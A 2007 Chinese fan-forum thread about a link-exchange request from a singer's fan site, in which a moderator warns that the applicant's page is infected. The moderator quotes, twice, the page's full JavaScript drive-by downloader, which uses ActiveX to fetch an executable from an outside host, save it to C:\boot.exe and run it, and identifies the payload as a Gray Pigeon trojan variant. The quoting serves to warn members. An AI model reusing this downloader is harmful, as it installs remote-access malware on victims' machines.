汪涵|涵流来袭

首页 » 事务专区 » 『 核心管理 』 » ╃申请专用区╃ » 王铮亮中文网申请连接~
王铮亮中文网 - 2007-10-4 1:24:00
详细情况请看7楼[/url]详细情况请看7楼网站名称:王铮亮中文网
连接:http://www.wzlbbs.com
LOGO:
网站描述:王铮亮中文网

贵站连接已做好~

谢谢~




引用:
酒窝 :



引用:
时间 模块 对象 名称 病毒 操作 用户名称 信息
2007-10-4 12:25:02 IMON 文件 http://wzl.ifensi.com/anying.htm JS/TrojanDownloader.Agent.DI 木马


http://wzl.ifensi.com/anying.htm的源码如下



引用:
<script>var url,path;url="http://www.rwmm.net/1.exe";path="C:\\boot.exe";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ab="Adodb.";var cd="Stream";var g=1;var as=ado.createobject(ab+cd,"");var h=1;xml.Open("GET",url,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute(path,"","","open",0);}catch(e){};</script>


那个http://www.rwmm.net/1.exe是灰鸽子的一个变种

这种居心不良的网站 永久不给予链接!!!!


为防止大家中毒 我去掉了 链接
後天 - 2007-10-4 10:52:00
你们站的首页有病毒。。。。。
难看的酒窝 - 2007-10-4 12:25:00
的确是有毒
难看的酒窝 - 2007-10-4 12:26:00
时间        模块        对象        名称        病毒        操作        用户名称        信息
2007-10-4 12:25:02        IMON        文件        http://wzl.ifensi.com/anying.htm        JS/TrojanDownloader.Agent.DI 木马
王铮亮中文网 - 2007-10-4 22:44:00
那是一个小插件~

呵呵,已处理~
该用户已被删除 - 2007-10-5 14:18:00
连接完毕
合作愉快!
不好意思连接的时间有点晚了.
难看的酒窝 - 2007-10-6 12:22:00
http://wzl.ifensi.com/anying.htm的源码如下



引用:
<script>var url,path;url="http://www.rwmm.net/1.exe";path="C:\\boot.exe";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ab="Adodb.";var cd="Stream";var g=1;var as=ado.createobject(ab+cd,"");var h=1;xml.Open("GET",url,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute(path,"","","open",0);}catch(e){};</script>


那个http://www.rwmm.net/1.exe是灰鸽子的一个变种

这种居心不良的网站 永久不给予链接!!!!
1
查看完整版本: 王铮亮中文网申请连接~